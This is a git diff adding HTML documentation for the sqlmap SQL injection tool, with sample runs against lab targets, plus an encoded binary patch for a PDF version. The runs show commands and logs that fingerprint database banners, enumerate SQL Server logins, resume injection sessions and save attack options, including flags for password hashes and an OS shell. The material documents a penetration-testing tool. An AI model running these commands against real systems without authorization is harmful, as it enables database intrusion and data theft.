+[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query 
+output again
+[hh:mm:24] [INFO] retrieved the length of query output: 64
+[hh:mm:24] [INFO] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version 
+WHERE ROWNUM=1
+77% [=======================================>            ] 49/64  ETA 00:00    
+
+
+

+ +

then:

+

+

+
+100% [====================================================] 64/64              
+[hh:mm:15] [INFO] performed 454 queries in 2 seconds
+banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
+
+
+

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" \
+  --users --eta -v 1
+
+[...]
+back-end DBMS:  Microsoft SQL Server 2000
+
+[hh:mm:57] [INFO] fetching database users
+[hh:mm:57] [INFO] fetching number of database users
+[hh:mm:57] [INFO] query: SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS VARCHAR(8000)), 
+(CHAR(32))) FROM master..syslogins
+[hh:mm:57] [INFO] retrieved: 3
+[hh:mm:57] [INFO] performed 13 queries in 0 seconds
+[hh:mm:57] [INFO] retrieved the length of query output: 22
+[hh:mm:57] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM 
+master..syslogins WHERE name NOT IN (SELECT TOP 0 name FROM master..syslogins ORDER BY name) 
+ORDER BY name
+100% [====================================================] 22/22              
+[hh:mm:58] [INFO] performed 160 queries in 0 seconds
+[hh:mm:58] [INFO] retrieved the length of query output: 2
+[hh:mm:58] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM 
+master..syslogins WHERE name NOT IN (SELECT TOP 1 name FROM master..syslogins ORDER BY name) 
+ORDER BY name
+100% [====================================================] 2/2                
+[hh:mm:59] [INFO] performed 20 queries in 0 seconds
+[hh:mm:59] [INFO] retrieved the length of query output: 25
+[hh:mm:59] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM 
+master..syslogins WHERE name NOT IN (SELECT TOP 2 name FROM master..syslogins ORDER BY name) 
+ORDER BY name
+100% [====================================================] 25/25              
+[hh:mm:00] [INFO] performed 181 queries in 1 seconds
+database management system users [3]:
+[*] BUILTIN\Administrators
+[*] sa
+[*] W2KITINQUIS\Administrator
+
+
+

+ +

As you can see, sqlmap first calculates the length of the query output, +then estimated the time of arrival, shows the progress in percentage and +counts the number of retrieved query output characters.

+ + +

Update sqlmap to the latest stable version

+ +

Option: --update

+ + +

It is possible to update sqlmap to the latest stable version available on +its +SourceForge File List page by running it with the +--update option.

+

+

+
+$ python sqlmap.py --update -v 4
+
+[hh:mm:53] [DEBUG] initializing the configuration
+[hh:mm:53] [DEBUG] initializing the knowledge base
+[hh:mm:53] [DEBUG] cleaning up configuration parameters
+[hh:mm:53] [DEBUG] setting the HTTP method to perform HTTP requests through
+[hh:mm:53] [DEBUG] creating HTTP requests opener object
+[hh:mm:53] [INFO] updating sqlmap
+[hh:mm:53] [DEBUG] checking if a new version is available
+[hh:mm:55] [TRAFFIC OUT] HTTP request:
+GET /doc/VERSION HTTP/1.1
+Host: sqlmap.sourceforge.net
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 01 Aug 2008 14:50:55 GMT
+Server: Apache/1.3.33 (Unix) PHP/4.3.10
+Last-Modified: Thu, 31 Jul 2008 11:10:19 GMT
+ETag: "9fcc53e-4-48919d9b"
+Accept-Ranges: bytes
+Content-Length: 4
+Connection: close
+Content-Type: text/plain
+X-Pad: avoid browser bug
+
+[hh:mm:55] [INFO] you are already running sqlmap latest stable version
+[hh:mm:55] [INFO] updating Microsoft SQL Server XML versions file
+[hh:mm:56] [TRAFFIC OUT] HTTP request:
+GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
+Host: www.sqlsecurity.com
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; 
+language=en-US
+Connection: close
+
+[hh:mm:02] [TRAFFIC IN] HTTP response (OK - 200):
+Cache-Control: private
+Connection: close
+Date: Fri, 01 Aug 2008 14:50:50 GMT
+Content-Length: 167918
+Content-Type: text/html; charset=utf-8
+Server: Microsoft-IIS/6.0
+X-Powered-By: ASP.NET
+X-AspNet-Version: 2.0.50727
+Set-Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; 
+expires=Fri, 10-Oct-2008 01:30:49 GMT; path=/; HttpOnly
+Set-Cookie: language=en-US; path=/; HttpOnly
+
+[hh:mm:02] [INFO] no new Microsoft SQL Server versions since the last update
+[hh:mm:02] [DEBUG] parsing XML queries file
+
+
+

+ +

As you can see, sqlmap first check if a new stable version is available, +then in case it is, download it, unzip it and update the Microsoft SQL +Server XML versions file from Chip Andrews' +SQLSecurity.com site.

+ +

Note that the default configuration file sqlmap.conf is backupped +to sqlmap.conf.bak in case a new stable version is available and +your copy is updated.

+ + +

Save and resume all data retrieved on a session file

+ +

Option: -s

+ +

It is possible to log all queries and their output on a text file while +performing whatever request, both in blind SQL injection and in inband SQL +injection. +This is useful if you stop the injection and resume it after some time.

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
+  -v 1 -s "sqlmap.log"
+
+[...]
+back-end DBMS:  PostgreSQL
+
+[hh:mm:42] [INFO] fetching banner
+[hh:mm:42] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32)))
+[hh:mm:42] [INFO] retrieved: PostgreSQL 8.2.7 o
+[hh:mm:43] [ERROR] user aborted
+
+
+

+ +

As you can see, I stopped the injection with CTRL-C while +retrieving the PostgreSQL banner and logged the session to text file +sqlmap.log.

+

+

+
+$ cat sqlmap.log
+
+[hh:mm:40 MM/DD/YY]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection point][GET]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection parameter][id]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection type][numeric]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Parenthesis][0]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][CONCAT('1', '1')][]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH(SYSDATE)][]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][COALESCE(9, NULL)][9]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH('9')][1]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][DBMS][PostgreSQL]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][VERSION()][PostgreSQL 8.2.7 o
+
+
+

+ +

As you can see, all queries performed and their output have been logged to +the session file in real time while performing the injection.

+ +

The session file has a structure as follows:

+

+

+
+[hh:mm:ss MM/DD/YY]
+[Target URL][Injection point][Parameters][Query or information name][Query output or value]
+
+
+

+ +

Performing the same request now, sqlmap calculates the query length, +in the example VERSION(), and resumes the injection from the last +character retrieved to the end of the query output.

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
+  -v 1 -s "sqlmap.log"
+
+[...]
+back-end DBMS:  PostgreSQL
+
+[hh:mm:37] [INFO] fetching banner
+[hh:mm:37] [INFO] retrieved the length of query output: 93
+[hh:mm:37] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.2.7 o...
+[hh:mm:37] [INFO] retrieving pending 75 query output characters
+[hh:mm:37] [INFO] query: COALESCE(CAST(SUBSTR((VERSION()), 19, 93) AS CHARACTER(10000)), 
+(CHR(32)))
+[hh:mm:37] [INFO] starting 1 threads
+[hh:mm:37] [INFO] retrieved: n i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 
+4.2.3-2ubuntu4)
+banner:    'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 
+4.2.3-2ubuntu4)'
+
+
+

+ + +

Load options from a configuration INI file

+ +

Option: -c

+ +

It is possible to pass user's option from a configuration INI file, an +example is sqlmap.conf.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -c "sqlmap.conf"
+
+[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
+back-end DBMS:  MySQL >= 5.0.0
+
+
+

+ + +

Save options on a configuration INI file

+ +

Option: --save

+ + + +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
+  -v 1 --save
+
+[hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-ADMcR.conf' 
+configuration file
+[hh:mm:33] [INFO] testing connection to the target url
+[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
+[...]
+
+
+

+ +

As you can see, sqlmap saved the command line options to a configuration +INI file, sqlmap-ADMcR.conf.

+

+

+
+$ cat sqlmap-ADMcR.conf
+
+[Request]
+aCred = 
+aType = 
+agent = 
+cookie = 
+data = 
+googleDork = 
+method = GET
+proxy = 
+referer = 
+testParameter = 
+threads = 1
+url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2
+userAgentsFile = 
+
+[Miscellaneous]
+eta = False
+sessionFile = 
+unionTest = False
+unionUse = False
+updateAll = False
+verbose = 1
+
+[Enumeration]
+col = 
+db = 
+dumpAll = False
+dumpTable = False
+excludeSysDbs = False
+getBanner = True
+getColumns = False
+getCurrentDb = False
+getCurrentUser = False
+getDbs = False
+getPasswordHashes = False
+getPrivileges = False
+getTables = False
+getUsers = False
+query = 
+sqlShell = False
+tbl = 
+user = 
+
+[File system]
+rFile = 
+wFile = 
+
+[Takeover]
+osShell = False
+
+[Fingerprint]
+extensiveFp = False
+
+[Injection]
+dbms = 
+string = 
+
+
+

+ +

The file is a valid sqlmap configuration INI file. +You can edit the configuration options as you wish and pass it to sqlmap +with the -c option as explained in the previous paragraph:

+

+

+
+$ python sqlmap.py -c "sqlmap-ADMcR.conf"
+
+[...]
+back-end DBMS:  PostgreSQL
+
+[hh:mm:10] [INFO] fetching banner
+[hh:mm:10] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32)))
+[hh:mm:10] [INFO] retrieved: PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 
+4.2.3 (Ubuntu 4.2.3-2ubuntu4)
+[hh:mm:16] [INFO] performed 657 queries in 6 seconds
+banner:    'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 
+4.2.3-2ubuntu4)'
+
+
+

+ + +

6. Disclaimer

+ +

sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details.

+ +

Whatever you do with this tool is uniquely your responsability. If you are +not authorized to punch holes in the network you are attacking be aware +that such action might get you in trouble with a lot of law enforcement +agencies.

+ + +

7. Authors

+ +

Feel free to contact us for comments, suggestions, bug reports and +patches.

+

+

+

+ + + + diff --git a/doc/README.pdf b/doc/README.pdf new file mode 100644 index 0000000000000000000000000000000000000000..f6f3c93b83631493e902cc64bf0e7f2128e49b19 GIT binary patch literal 284535 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 